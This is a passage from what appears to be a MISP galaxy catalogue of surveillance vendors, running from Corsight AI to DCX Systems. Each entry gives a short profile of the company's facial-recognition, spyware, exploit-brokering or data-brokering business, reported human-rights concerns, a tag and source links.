Israel implemented a mass facial recognition program in the Gaza Strip using Corsight AI's technology. The system was deployed at military checkpoints along major evacuation routes where Palestinians were fleeing southward, creating an extensive database of Palestinian civilians without their knowledge or consent. The technology faced notable accuracy challenges, particularly when processing grainy footage or partially obscured faces. One significant case highlighting these accuracy issues involved Palestinian poet Mosab Abu Toha, who was wrongfully detained at a checkpoint in mid-November while attempting to leave Gaza for Egypt with his family. After being flagged by the system as a wanted person, he was held in detention for two days, during which he endured beating and interrogation, before being released back to Gaza without explanation.

According to Gizmodo, in 2024 Corsight AI introduced a new surveillance system that monitors "sweethearting" - a practice where retail employees give unauthorized discounts to people they know - by analyzing customer-employee interactions, including physical proximity and visit patterns. The technology, which has already been implemented by unnamed clients, tracks whether customers consistently visit the same employees and triggers security alerts for suspicious patterns.

Corsight also announced a partnership with the public school system in Alagoas, a state in Northeastern Brazil, to implement its facial recognition technology in schools. However, the contract raised transparency concerns: while Alagoas had an active agreement with Teltex, a company acting as Corsight's reseller in Brazil, the contract made no mention of Corsight or the facial recognition solution. This practice violates local laws.

The tag is: *misp-galaxy:surveillance-vendor="Corsight AI"*

Table 17633. Table References

Links
https://theintercept.com/2024/04/05/google-photos-israel-gaza-facial-recognition/
https://gizmodo.com/facial-recognition-that-tracks-suspicious-friendliness-is-coming-to-a-store-near-you-2000519190
https://www.securityinfowatch.com/access-identity/biometrics/facial-recognition-solutions/press-release/55142971/corsight-city-of-santa-rosa-implements-corsight-ais-facial-intelligence-technology
https://www.businesswire.com/news/home/20240619024171/en/Corsight-AI-Partners-with-Segdboa-to-Provide-S%C3%A3o-Paulo-Military-Police-with-Facial-Intelligence-Capabilities
https://www.corsight.ai/press/corsight-ai-raises-us-5-million-from-canadian-fund-awz-ventures/
https://www.theverge.com/2024/3/27/24114043/israel-facial-recognition-gaza-strip-corsight
https://dimse.info/corsight/
https://www.nytimes.com/2024/03/27/technology/israel-facial-recognition-gaza.html
https://www.biometricupdate.com/202409/corsight-lands-safe-city-deal-in-philippines

https://www.intercept.com.br/2024/06/24/empresa-de-reconhecimento-facial-usada-em-gaza-anuncia-parceria-para-uso-em-escolas-publicas-de-alagoas/

Corsound AI

Corsound AI is a technology company based in Israel that specializes in voice intelligence technologies, sound and facial recognition, audio analytics and artificial intelligence. Corsound AI's clients primarily include government agencies, law enforcement organizations, and security firms that utilize their audio analytics technology for advanced surveillance. Its primary investor is Awz Ventures, whose advisory board and strategic advisors include Dame Stella Rimington, former MI5 Director-General, James Woolsey, former CIA director, Tamir Pardo, former director of the Mossad, and Buck Revell, former FBI associate deputy director.

The tag is: *misp-galaxy:surveillance-vendor="Corsound AI"*

Table 17634. Table References

Links
https://breachmedia.ca/stephen-harper-awz-ventures-surveillance-tech-israel/
https://www.biometricupdate.com/202403/corsound-introduces-voice-biometrics-for-face-matching-and-generation
https://www.corsound.ai/law-enforcement
https://www.awzventures.com/our-team

Cortica

Israeli company Cortica, and its subsidiary Corsight AI, has been using facial recognition and Google Photos to conduct mass surveillance of Palestinians without their knowledge or consent. Canadian-Israeli VC firm, AWZ ventures, is among its lead investors. Their tools are also deployed by the U.S. Department of Homeland Security for facial recognition purposes.

The tag is: *misp-galaxy:surveillance-vendor="Cortica"*

Table 17635. Table References

Links
https://www.theverge.com/2024/3/27/24114043/israel-facial-recognition-gaza-strip-corsight
https://www.corsight.ai/press/corsight-ai-raises-us-5-million-from-canadian-fund-awz-ventures/

COSEINC

Founded by former Cyber Security Agency (CSA) official Thomas Lim, the Computer Security Initiative Consultancy (COSEINC) is a Singapore-based cybersecurity firm with extensive spyware and surveillance operations. In November 2021, it was blacklisting by the U.S. Department of Commerce, which cited the company's misuse of cyber tools to gain unauthorized access to information systems. Lim is known for organizing the SyScan security conference, which was sold

to the Chinese technology firm Qihoo 360, another sanctioned entity by the U.S.

Lim also operates Pwnzen Technology, a Singaporean subsidiary of China's Shanghai Ben Zhong Information Technology (Pwnzen InfoTech). Founded in 2014 by Chinese hackers associated with the Pangu Team, Pwnzen specializes in cyber monitoring and defense on behalf of China's government. The company collaborates closely with Chinese cyber institutions like CNCERT and CNNVD, which is linked to China's Ministry of State Security. Pwnzen is involved in hacking the phone of a Chinese opposition figure to access their social media accounts.

The tag is: *misp-galaxy:surveillance-vendor="COSEINC"*

Table 17636. Table References

Links
https://www.singapore-samizdat.com/p/a-timeline-of-singapore-and-spyware
https://www.channelnewsasia.com/singapore/us-blacklist-coseinc-singapore-cybersecurity-2303576
https://www.straitstimes.com/singapore/singapore-cyber-security-firm-blacklisted-by-the-us-along-with-those-linked-to-pegasus
https://www.intelligenceonline.com/surveillance—interception/2021/11/08/blacklisted-by-the-us-zero-day-distributor-coseinc-works-on-for-china-s-pwnzen,109703349-art
https://www.euronews.com/business/2018/05/30/at-beijing-security-fair-an-arms-race-for-surveillance-tech
https://www.intelligenceonline.com/surveillance—interception/2022/02/24/singapore-s-coseinc-disappearing-from-internet-following-us-sanctions,109736239-art

Covidence

Covidence is a Danish company that develops miniature video and audio surveillance equipment, and which provides tools for remote surveillance over insecure networks. Their products are tailored for use by police forces, intelligence agencies, special forces, and other government-approved organizations, specifically designed for scenarios which require covert data gathering.

In 2019, it was acquired by EMK Capital.

The tag is: *misp-galaxy:surveillance-vendor="Covidence"*

Table 17637. Table References

Links
https://www.emkcapital.com/news/emk-acquires-covidence
https://web.archive.org/web/20250106201040/https://www.issworldtraining.com/iss_mea/index.htm
https://covidence.com/

Crimson Hexagon

Crimson Hexagon, a Boston-based social media analytics firm, specializes in using artificial intelligence to analyze vast amounts of public social media data, providing insights for clients ranging from corporations like Adidas to government agencies such as the U.S. State Department. Founded in 2007 by Harvard professor Gary King and Candace Fleming, the company has built a repository of over a trillion public social media posts from platforms like Facebook, Instagram, and Twitter (now X). However, it has faced scrutiny over potential misuse of data for surveillance purposes, particularly in contracts with entities like the U.S. government, the Turkish government, and a Russian nonprofit linked to the Kremlin.

Crimson Hexagon became known as Brandwatch after a merger in 2018, and was later acquired by Cision for $450 million.

The tag is: *misp-galaxy:surveillance-vendor="Crimson Hexagon"*

Table 17638. Table References

Links
https://www.wsj.com/articles/facebook-probing-how-analytics-firm-shares-public-user-data-1532104502?mod=hp_lead_pos2
https://www.theguardian.com/technology/2018/jul/20/facebook-crimson-hexagon-analytics-data-surveillance
https://www.bbc.com/news/technology-44909293
https://www.fastcompany.com/90219826/why-did-facebook-re-friend-a-data-firm-that-raised-spying-concerns
https://www.brandwatch.com/blog/cision/
https://siliconangle.com/2018/10/04/brandwatch-crimson-hexagon-merge-100m-social-intelligence-provider/
https://techcrunch.com/2021/02/26/brandwatch-is-acquired-by-cision-for-450m-creating-a-pr-marketing-and-social-listening-giant/
https://x.com/kinggary/status/1368935083919372292

Criteo

Criteo, a French digital marketing company specializing in targeted advertising, has deepened its focus on surveillance-driven data strategies with the launch of its Criteo Innovation Hub in Washington, D.C. A key move was enlisting James Shinn, a former CIA East Asia officer, whose intelligence background signals a focus on advanced data collection and analysis techniques.

In 2022, Criteo was hit with a preliminary €60 million (~$65 million) fine by France's privacy watchdog, CNIL, for violations of the EU's General Data Protection Regulation (GDPR). The investigation found that Criteo lacked proper legal bases for its extensive tracking and profiling practices

The tag is: *misp-galaxy:surveillance-vendor="Criteo"*

Table 17639. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2021/06/01/criteo-hires-former-cia-agent-for-us-branch,109670170-art
https://techcrunch.com/2022/08/05/criteo-gdpr-breaches-cnil/
https://www.eff.org/deeplinks/2017/12/arms-race-against-trackers-safari-leads-criteo-30
https://revealnews.org/article-legacy/easily-obtained-subpoenas-turn-your-personal-information-against-you/

Crowdfense

Crowdfense, a UAE-based company, purchases software exploits from researchers and reselling them to government agencies. The company operates as a hub for independent researchers, offering some of the industry's highest bounties for exclusive, full-chain exploits targeting platforms such as iOS, Android, Chrome, and Safari. According to Intelligence Online's sources, the UAE and Saudi governments financially backed the firm.

The tag is: *misp-galaxy:surveillance-vendor="Crowdfense"*

Table 17640. Table References

Links
https://www.securityweek.com/company-offering-30-million-for-android-ios-browser-zero-day-exploits/
https://www.vice.com/en/article/zero-day-shop-opens-the-floodgates-for-people-to-sell-exploits-to-governments/
https://cyberscoop.com/crowdfense-zero-day-exploit-dubai-uae/
https://www.intelligenceonline.com/surveillance—interception/2024/01/30/shake-up-of-market-for-zero-day-vulnerabilities,110153740-art
https://www.vice.com/en/article/phones-harder-to-hack-crowdfense-zerodium-buy-router-zero-days-exploits/
https://www.intelligenceonline.com/international-dealmaking/2018/05/16/emerging-sigint-powers-seek-own-cyber-bounty-hunters,108310461-art

CrowdOptic

CrowdOptic is a vision analytics company specializing in advanced triangulation technology that integrates with realtime video systems to improve surveillance and facial recognition. Their products enable the use of fixed cameras, body cams, smartphones, and drones to identify individuals and targets in realtime.

In partnership with NEC Australia, CrowdOptic has developed advanced surveillance technology for smart cities. In collaboration, the companies built a system which allows cameras equipped with CrowdOptic software to stream video to servers running NEC's facial recognition software,

enabling the automated monitoring and analysis of public spaces.

According to Jon Fisher, founder of CrowdOptic, police in China are using CrowdOptic's technology to read license plates and "identify incidents" more efficiently. The system can instantly track when multiple police officers focus on the same object, providing faster results compared to manually sifting through surveillance camera footage.

The tag is: *misp-galaxy:surveillance-vendor="CrowdOptic"*

Table 17641. Table References

Links
https://www.suasnews.com/2017/12/nec-crowdoptic-launch-mobility-based-facial-recognition-smart-city-security/
https://www.zdnet.com/article/nec-australia-to-offer-real-time-video-facial-recognition/
https://www.businessinsider.com/an-obsession-with-oracle-made-this-founder-rich-and-now-hes-invented-a-way-to-look-through-walls-2016-7
https://www.intel.com/content/www/us/en/internet-of-things/ai-in-production/partners/crowdoptic.html

CSRA Inc

CSRA Inc. (formerly SRA International) is a subsidiary of General Dynamics that played a significant role in the U.S. government's immigration surveillance efforts. The company secured major contracts with the Department of Homeland Security (DHS) to operate the Visa Lifecycle Vetting Initiative (VLVI) program. Under these contracts, which ran from August 2018 through August 2023, CSRA was paid $42.1 million initially, with the total contract value ultimately reaching $101 million. The company's work involved analyzing and exploiting publicly available information, including media blogs, public hearings, conferences, and academic websites, using automated systems to monitor immigrants' social media and online presence.

The tag is: *misp-galaxy:surveillance-vendor="CSRA Inc"*

Table 17642. Table References

Links
https://48hills.org/2025/01/the-surveillance-octopus-tightens-its-grip-on-immigrants-and-everyone-else/
https://www.brennancenter.org/our-work/research-reports/timeline-social-media-monitoring-vetting-department-homeland-security-and
https://theintercept.com/2016/12/13/dhs-trump-deportation/
https://www.documentcloud.org/documents/25260216-pt1-may-2022-release-of-2022-icli-00038-bates-no-1-198/#document/p59
https://www.eff.org/deeplinks/2024/11/eff-lawsuit-discloses-documents-detailing-governments-social-media-surveillance

Cuebiq

Cuebiq is a location intelligence and data analytics company that collects and analyzes mobility data. The company gathers data through its proprietary software development kit (SDK), which is integrated into mobile apps. This SDK collects first-party location data from users, enabling Cuebiq to track and analyze real-world behaviors at scale. In return, some app developers share detailed location data with Cuebiq for analysis.

A proposed class-action lawsuit named Cuebiq among data brokers that bought location data from the family tracking app Life360 without users' knowledge or consent.

The tag is: *misp-galaxy:surveillance-vendor="Cuebiq"*

Table 17643. Table References

Links
https://www.scientificamerican.com/article/science-shouldnt-give-data-brokers-cover-for-stealing-your-privacy/
https://www.nytimes.com/2020/08/19/technology/smartphone-location-tracking-opt-out.html
https://themarkup.org/privacy/2021/12/06/the-popular-family-safety-app-life360-is-selling-precise-location-data-on-its-tens-of-millions-of-user
https://www.propublica.org/article/how-to-wrestle-your-data-from-data-brokers-silicon-valley-and-cambridge-analytica
https://www.wired.com/story/gravy-location-data-app-leak-rtb/

Cyberbit

Cyberbit is an Israeli cybersecurity company that was established as a subsidiary of Elbit Systems, a major Israeli defense company, and which offers a comprehensive solution for monitoring and extracting information from remote PCs. The Ethiopian government targeted Oromo dissidents with Cyberbit's commercial spyware, PC Surveillance System (PSS), renamed PC 360.

The tag is: *misp-galaxy:surveillance-vendor="Cyberbit"*

Table 17644. Table References

Links
https://citizenlab.ca/2017/12/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware/
https://www.cima.ned.org/publication/spyware-an-unregulated-and-escalating-threat-to-independent-media/

Cyberglobes

Cyberglobes, an Israeli open-source intelligence (OSINT) firm, has established itself as a prominent exporter of intelligence solutions despite facing bans from platforms like Facebook due to its spying

activities. Led by Pinhas (aka Pini) Kleiner, the company has been expanding its global footprint, recently showcasing its social network monitoring tools at the Digipol policing and defense fair in Hyderabad, India. Cyberglobes has a history in the Indian market, having demonstrated its solutions to Indian police forces as early as 2019. It has also been pitching its social network surveillance technologies to the United Arab Emirates.

The tag is: *misp-galaxy:surveillance-vendor="Cyberglobes"*

Table 17645. Table References

Links
https://www.theguardian.com/technology/2022/dec/15/meta-facebook-owner-warns-spyware-social-media
https://www.intelligenceonline.com/surveillance—interception/2023/03/31/israeli-osint-firm-cyberglobes-prospects-in-india,109930238-art
https://www.deccanchronicle.com/nation/in-other-news/100519/cyberglobes-to-help-telangana-cops-scan-social-media.html
https://www.intelligenceonline.com/surveillance—interception/2022/12/01/beacon-red-s-native-osint-platform-draws-israeli-firms,109870027-eve
https://www.axios.com/2022/12/16/meta-accounts-spyware-facebook-instagram
https://en.checkid.co.il/company/CYBERGLOBES+LTD-jbjDvj5-515634475

Cyberint Technologies

Cyberint is an Israel-based company specializing in cyber-intelligence. Through its Argos digital risk protection platform, Cyberint delivers real-time intelligence by analyzing vast amounts of data from various sources, including the dark and deep web, as well as social media. In August, 2024, Cyperint was acquired by Check Point Software Technologies, another Israeli company in the space.

The tag is: *misp-galaxy:surveillance-vendor="Cyberint Technologies"*

Table 17646. Table References

Links
https://www.timesofisrael.com/israeli-firm-inks-first-uae-deal-to-help-telecom-giant-crack-down-on-cyberthreats/
https://en.globes.co.il/en/article-israeli-cybersecurity-co-cyberint-raises-18m-1001239103
https://cyberscoop.com/check-point-cyberint-acquisition/

CyberLab

Employees at CyberLab, along with those at other companies founded by the same Israeli nationals, operated from the same office in Skopje, North Macedonia, previously used by Cytrox and Inpedio. These individuals were also involved in the development of Predator spyware. Their work was part of the portfolio offered by Intellexa, a notorious collective specializing in the development and sale

of spyware.

The tag is: *misp-galaxy:surveillance-vendor="CyberLab"*

Table 17647. Table References

Links
https://www.haaretz.com/israel-news/security-aviation/2023-06-28/ty-article/israel-invested-in-spyware-that-brought-down-greek-spymaster/00000188-dd36-d5fc-ab9d-df7edbf20000

CyberPoint

CyberPoint is listed as a partner to Hacking Team, the Italian company that sold spyware used by repressive regimes across the world. It also has a known presence in Abu Dhabi, UAE, and trains analysts with the Electronic Security Authority, the Emirati intelligence agency.

The tag is: *misp-galaxy:surveillance-vendor="CyberPoint"*

Table 17648. Table References

Links
https://theintercept.com/2015/07/07/baltimore-firm-supplying-united-arab-emirates-surveillance-software-won-special-export-license-state-department/

CyberRoot

CyberRoot is an Indian company that develops tracking phishing links and other intrusive software tools for indiscriminate surveillance on behalf of various clients, often law firms.

The tag is: *misp-galaxy:surveillance-vendor="CyberRoot"*

Table 17649. Table References

Links
https://therecord.media/spyware-and-surveillance-for-hire-industry-growing-globally-report
https://www.reuters.com/article/usa-hackers-azima-idUSL1N2YG2PB/
https://www.intelligenceonline.com/corporate-intelligence/2022/12/05/as-hacking-accusations-against-it-mount-up-cyberroot-strikes-back-in-indian-courts,109870920-art
https://economictimes.indiatimes.com/tech/technology/meta-takes-down-spyware-network-run-by-indian-company-cyberroot-risk-advisory/articleshow/96260119.cms

Dahua Technology

Dahua Technology is one of China’s biggest surveillance equipment makers. In February 2024, Dahua announced that it will establish a joint venture with Alat, a newly formed entity owned by Saudi Arabia’s Public Investment Fund (PIF), to manufacture surveillance hardware in Saudi Arabia. The company’s technology has been linked to the abuse of China’s Uighur minority and its

surveillance systems has also been deployed in the U.S, Vietnam, Mexico, UK and Brazil. Dahua confirmed it sells “skin color” analytics and defended them as “a basic feature of a smart security solution.”

A Reuters report revealed that Myanmar’s military junta is installing Chinese-built facial recognition cameras in key urban centers to strengthen its surveillance capabilities, with technology provided by Dahua alongside other Chinese surveillance giants, Hikvision and Huawei Technologies Co Ltd.

The tag is: *misp-galaxy:surveillance-vendor="Dahua Technology"*

Table 17650. Table References

Links
https://www.reuters.com/technology/saudi-tech-firm-alat-partner-with-softbank-others-2024-02-20/
https://uhrp.org/report/dahuas-links-to-human-rights-abuses-in-east-turkistan/
https://www.arabnews.com/node/2479296/business-economy
https://www.reuters.com/world/asia-pacific/exclusive-myanmars-junta-rolls-out-chinese-camera-surveillance-systems-more-2022-07-10/
https://www.rferl.org/a/china-surveillance-cameras-europe-dahua-hikvision/32930737.html
https://www.accessnow.org/wp-content/uploads/2021/08/Surveillance-Tech-Latam-Report.pdf
https://aristeguinoticias.com/1111/mexico/la-llegada-de-dahua-technology-a-mexico-pone-en-alerta-a-defensores-de-derechos-humanos-el-gobierno-de-coahuila-no-ha-transparentado-los-montos-pagados-a-la-empresa-china-foto-quinto-elemento-lab/
https://www.occrp.org/en/news/georgias-surveillance-surge-chinese-cameras-spark-protest-crackdown-fears

Damiba Group

Damiba Group is a Serbian company producing AI-powered drones and radar systems. According to a report by the Border Violence Monitoring Network, it has been involved in supplying unmanned aerial vehicles and other surveillance equipment in a project jointly managed by the EU Commission and the International Organization for Migration (IOM).

The tag is: *misp-galaxy:surveillance-vendor="Damiba Group"*

Table 17651. Table References

Links
https://borderviolence.eu/app/uploads/Surveillance-tech-in-Serbia.pdf
https://www.damiba.rs/infrared-defence

Danaide

Danaide S.A. is a Buenos Aires–based technology firm that supplies UltraIP, the facial-recognition

platform that powers the city's Fugitive Facial Recognition System (SNRP), which was installed in 2019.

Independent investigations point to a close technical tie with Russia's NTechLab: UltraIP appears in the partners section of NTechLab's Russian-language website, and multiple reports note that the system "reportedly" runs on NTechLab's Find Face engine.

Danaide markets UltraIP as "analytics of our own design" on its corporate site, but the unresolved provenance has intensified legal challenges and human rights concerns after documented cases of wrongful arrests and the surveillance of activists.

The tag is: *misp-galaxy:surveillance-vendor="Danaide"*

Table 17652. Table References

Links
https://adc.org.ar/wp-content/uploads/2022/03/ADC-Surveillance-Technology-in-Argentina.pdf
https://www.biometricupdate.com/202402/buenos-airess-facial-recognition-system-to-be-examined-by-court
https://www.biometricupdate.com/202408/argentinas-plan-to-fight-crime-with-ai-draws-concerns-from-rights-groups
https://onezero.medium.com/the-u-s-fears-live-facial-recognition-in-buenos-aires-its-a-fact-of-life-52019eff454d
https://www.accessnow.org/wp-content/uploads/2021/08/Surveillance-Tech-Latam-Report.pdf
https://danaide.com.ar/en/smart-cities/seguridad-publica/

DarkOwl

DarkOwl is a cybersecurity company providing tools for dark web intelligence and monitoring. Their platform provides access to a vast database of dark web content, enabling clients to search for leaked credentials, sensitive data, and other details. Its DarkOwl Vision UI has access to a wide range of sources including Tor and Telegram. It also has capabilities for entity-based searches for specific variables like email addresses, IPs, and cryptocurrencies, as well as network-specific filtering to focus on particular darknet platforms, forums or messaging services. Its Dubai-based subsidiary is DarkOwl FZE LLC, which it uses to support intelligence operations by the United Arab Emirates and other governments in the region.

The tag is: *misp-galaxy:surveillance-vendor="DarkOwl"*

Table 17653. Table References

Links
https://www.darkowl.com/products/vision-app/
https://www.darkowl.com/blog-content/darkowl-grows-presence-in-dubai-as-gisec-global-expands/
https://www.intelligenceonline.com/surveillance—interception/2020/06/17/babel-street-takes-on-dataminr-in-webint-via-ai,109238414-art

https://www.darkowl.com/press-releases/mst-signs-with-darkowl-to-deliver-critical-darknet-data-to-clients/
https://magnitt.com/news/ctm360-and-darkowl-announce-partnership-to-enhance-digital-risk-protection-52061
https://www.darkowl.com/blog-content/darkowl-deepens-international-relationships-at-iss-world-europe/

Dassault

Arms giant Dassault Systèmes, a strategic partner of Thales, sold a mass surveillance system to Egypt in collaboration with Nexa Technologies. In 2017, Ahmed Alaa, a student in Egypt, was imprisoned for 80 days after being accused of posting a photo under a rainbow flag on social media. His arrest was facilitated by a mass surveillance system sold to the Egyptian government by French companies Nexa Technologies, Ercom-Suneris (a subsidiary of Thales), and Dassault Systèmes. This system, which includes internet surveillance software "Cerebro" and phone tapping device "Cortex vortex," allowed the regime to monitor and arrest its opponents.

The tag is: *misp-galaxy:surveillance-vendor="Dassault"*

Table 17654. Table References

Links
https://egypt-papers.disclose.ngo/en/chapter/cae-aviation
https://www.madamasr.com/en/2021/11/25/news/u/the-egypt-papers-here-is-what-we-know-so-far/

Dat-Con

Dat-Con is a Slovenian company providing Mobile Surveillance Systems (MSS) to Frontex, the European Border and Coast Guard Agency. These systems are used for border surveillance and monitoring operations.

The tag is: *misp-galaxy:surveillance-vendor="Dat-Con"*

Table 17655. Table References

Links
https://borderviolence.eu/app/uploads/Surveillance-tech-in-Serbia.pdf
https://www.europarl.europa.eu/doceo/document/E-9-2023-002853-ASW-ANN02_EN.pdf
https://www.aerospacedefensereview.com/dat-con
https://www.frontex.europa.eu/innovation/announcements/frontex-announces-5-groups-selected-in-the-second-phase-of-prize-contest-on-the-detection-of-low-flying-objects-Pqk5wM
https://www.dat-con.com/other/about-us/

Data Grand

Data Grand is a Chinese technology startup that has been linked to the development and deployment of censorship and surveillance tools utilized by Chinese authorities. The company was supported by Microsoft's startup incubator program, which provided resources and mentorship to emerging tech companies.

According to reports, Data Grand has been involved in creating software that automates the censorship of online content and assists in monitoring and analyzing digital communications. These tools are reportedly used by Chinese law enforcement agencies to suppress dissent and monitor the activities of individuals, particularly in regions with significant ethnic minority populations.

The tag is: *misp-galaxy:surveillance-vendor="Data Grand"*

Table 17656. Table References

Links
https://restofworld.org/2024/microsoft-google-chinese-startup-incubator-police-surveillance/
https://www.prnewswire.com/news-releases/microsoft-accelerator-shanghai-gains-solid-ground-amid-shanghai-city-2020-plan-300585533.html
https://www.datagrand.com/english-index/

DataDirect Networks

DataDirect Networks (DDN) specializes in providing high-performance data storage solutions and data management services, with real-time surveillance and analysis capabilities. Egypt constructed a massive data server in collaboration with the company and intercepted traffic from submarine internet cables connecting the country to Europe for data analysis. This operation was headquartered at the Almaza military base in Cairo.

The tag is: *misp-galaxy:surveillance-vendor="DataDirect Networks"*

Table 17657. Table References

Links
https://www.madamasr.com/en/2021/11/25/news/u/the-egypt-papers-here-is-what-we-know-so-far/
https://www.ddn.com/solutions/video-surveillance/

Dataflow Security

Dataflow Security is an Italian firm that sells exploits to European and Middle Eastern intelligence agencies. The company is a regular presence at industry events like ISS World and has recruited talent from NSO Group.

The firm was founded in 2019 and is headed by Italian national Luca Todesco, a prominent zero-day tracker. In 2020, one of Todesco's iPhone attack techniques, which he shared publicly with

Chinese contacts, was reportedly used by China to spy on the Uyghur community, as documented by Forbes.

The tag is: *misp-galaxy:surveillance-vendor="Dataflow Security"*

Table 17658. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2022/06/30/dataflow-security-tracks-down-vulnerabilities-for-europe-s-cyber-intelligence-companies%2C109796117-art?
https://www.forbes.com/sites/thomasbrewster/2021/09/17/exodus-american-tech-helped-india-spy-on-china/
https://www.atlanticcouncil.org/in-depth-research-reports/report/mythical-beasts-and-where-to-find-them-mapping-the-global-spyware-market-and-its-threats-to-national-security-and-human-rights/
https://www.intelligenceonline.com/surveillance—interception/2022/10/27/dataflow-security-sets-up-new-forensics-company-in-new-york,109839003-art

DataForense

DataForense s.r.l. is an Italian company founded in 2013 by Annunziata Cirillo, initially focused on developing forensic tools and invoicing software. In 2015, the company expanded into interception technologies with its Artemide/Spyrtacus project, a spyware system capable of stealthily extracting data from Android and iOS devices. This expansion was further strengthening by recruiting experts from the Italian interceptions specialist IPS Intelligence. According to the Cyber Statecraft Initiative, the company was in liquidation as of 2024.

The tag is: *misp-galaxy:surveillance-vendor="DataForense"*

Table 17659. Table References

Links
https://www.atlanticcouncil.org/in-depth-research-reports/report/mythical-beasts-and-where-to-find-them-mapping-the-global-spyware-market-and-its-threats-to-national-security-and-human-rights/
https://www.intelligenceonline.com/surveillance—interception/2022/03/03/sio-follows-european-cyber-offensive-consolidation-trend-with-asingit-acquisition,109737657-art
https://www.reportaziende.it/dataforense_srl_in_liquidazione_na_07623991218

Datafusion Systems

Datafusion Systems, acquired by Canadian telecoms giant Lumine Group, is the company behind Trovicor, a provider of surveillance and spyware technologies.

The tag is: *misp-galaxy:surveillance-vendor="Datafusion Systems"*

Table 17660. Table References

Links
https://www.gtlaw.com/en/news/2025/06/press-releases/greenberg-traurig-represents-lumine-group-in-acquisition-of-datafusion-systems
https://www.intelligenceonline.com/surveillance—interception/2025/06/04/trovicor-a-european-pioneer-in-interception-goes-under-canadian-ownership%2C110460936-art
https://www.reuters.com/world/asia-pacific/amnesty-says-pakistan-spying-millions-through-phone-tapping-firewall-2025-09-09/

Datastream Group

Datastream Group, an American data broker, aggregates and sells large amounts of geolocated personal data, often collected through mobile apps. An investigation revealed that Datastream Group's database includes information on over 47 million individuals, such as GPS coordinates, device details, and app usage patterns.

The company collects geolocation data from 137 countries, as revealed in a dataset tied to its activities.

The tag is: *misp-galaxy:surveillance-vendor="Datastream Group"*

Table 17661. Table References

Links
https://www.lemonde.fr/en/pixels/article/2025/02/12/personal-data-for-sale-the-out-of-control-industry-of-data-brokers_6738090_13.html
https://www.wired.com/story/rtb-location-data-us-military/
https://therecord.media/germany-geolocation-us-data-broker
https://netzpolitik.org/2025/databroker-files-new-data-set-reveals-40000-apps-behind-location-tracking/

DataWorks Plus

DataWorks Plus is a South Carolina-based company that provides advanced surveillance technology, equipping police with the ability to identify faces from surveillance footage in real time. One of their flagship products, FaceWatch Plus, offers "continuous screening and monitoring of live video streams," as described on the company's website. This technology was adopted by law enforcement agencies in cities like Chicago and Detroit, enabling real-time identification from live video feeds. Another one of their products, FaceCompare Plus, offers standalone morphological facial comparison, allowing agencies to compare two facial images side-by-side without a full facial recognition system.

The use of DataWorks Plus' technology has raised significant concerns, particularly regarding its reliability and potential for racial bias. In Detroit, the police department's use of this facial recognition technology has been criticized for its almost exclusive application against Black people in 2020. The department's own data revealed that the technology frequently misidentifies people,

with Former Detroit Police Chief James Craig admitting that the system almost never brings back a direct match and often leads to incorrect identifications.

Despite these issues, DataWorks Plus does not provide specific guidance to law enforcement on how to use the software, leaving decisions largely to the discretion of individual officers. This lack of oversight, combined with the technology's unreliability, has led to wrongful arrests and raised serious concerns among human rights advocates about the broader implications for privacy and racial justice.

The tag is: *misp-galaxy:surveillance-vendor="DataWorks Plus"*

Table 17662. Table References

Links
https://www.vice.com/en/article/detroit-police-chief-facial-recognition-software-misidentifies-96-of-the-time/ [https://www.vice.com/en/article/detroit-police-chief-facial-recognition-software-misidentifies-96-of-the-time/]
https://www.wired.com/story/some-us-cities-moving-real-time-facial-surveillance/
https://www.amnesty.org/en/latest/research/2020/06/amnesty-international-calls-for-ban-on-the-use-of-facial-recognition-technology-for-mass-surveillance/
https://onezero.medium.com/facial-recognition-is-law-enforcements-newest-weapon-against-protestors-c7a9760e46eb
https://www.mlive.com/public-interest/2021/08/your-facebook-selfies-could-end-up-in-a-police-surveillance-database.html
https://www.technologyreview.com/2021/04/14/1022676/robert-williams-facial-recognition-lawsuit-aclu-detroit-police/

Datong

Datong, formerly known as Sepura, is a UK-based company that has been involved in distributing surveillance technology, including IMSI Catchers, which can intercept mobile phone data. In 2009, Datong attempted to export an IMSI Catcher, branded "Optima," to an unnamed Asian country. The UK government rejected this export, citing human rights concerns. Datong attempted to do this by serving as a distributor to Cellxion, the manufacturer of the IMSI Catcher.

Datong was acquired by Seven Technologies Group on May 10, 2013, for $11.4 million. As of July 9, 2013, Datong plc operates as a subsidiary of Seven Technologies Ltd.

The tag is: *misp-galaxy:surveillance-vendor="Datong"*

Table 17663. Table References

Links
https://privacyinternational.org/blog/1436/collaborating-companies-shady-moves-secretive-sector
https://www.reuters.com/article/markets/datong-plc-agrees-to-seven-technologies-buyout-at-50p-per-share-idUSASN0001YM/

https://sls.eff.org/technologies/cell-site-simulators-imsi-catchers

DATYS

DATYS is a Cuban state-owned company that develops and distributes biometric surveillance technology. The company has created a suite of products designed for identification and biometric verification, utilizing multiple biological markers including facial recognition, fingerprints, palm prints, DNA analysis, and voice recognition. Argentina's Ministry of the Interior acquired their biometric systems in October 2015 through a substantial contract worth USD 1,080,000, with an additional USD 180,000 in annual technical support costs extending over five years.

The tag is: *misp-galaxy:surveillance-vendor="DATYS"*

Table 17664. Table References

Links
https://adc.org.ar/wp-content/uploads/2021/12/ADC-Tecnologias-de-Vigilancia-en-Argentina.pdf
https://www.accessnow.org/wp-content/uploads/2021/08/Surveillance-Tech-Latam-Report.pdf
https://www.ecoi.net/en/document/2014832.html
https://diariodecuba.com/cuba/1751713458_61856.html
https://www.opensanctions.org/entities/NK-G7JTBrKC6rNabdjFHT7yLw/
https://web.archive.org/web/20190409033634/http://datys.cu/spa/site/index

DCX Systems

DCX Systems provides a range of surveillance technologies, including surveillance radars, electro-optic devices, signal analyzers and unmanned aerial drones. The company has established itself as a key Indian Offset Partner (IOP) for international defense companies, especially Israel Aerospace Industries (IAI) and its subsidiary ELTA Systems Limited. It also owns two subsidiaries in Israel.

The tag is: *misp-galaxy:surveillance-vendor="DCX Systems"*

Table 17665. Table References

Links
https://www.defensemirror.com/news/39344
https://www.iai.co.il/about/press-release/iai-and-dcx-announce-establishment-new-jv-india
https://www.ndtvprofit.com/business/dcx-systems-export-order-rs-483-crore-israel-elta-systems
https://www.marketscreener.com/quote/stock/DCX-SYSTEMS-LIMITED-146653462/news/DCX-Systems-Forms-New-Wholly-Owned-Subsidiary-in-Israel-45075976/
https://dcxindia.com/company/clients-testimonials/

DEA Aviation

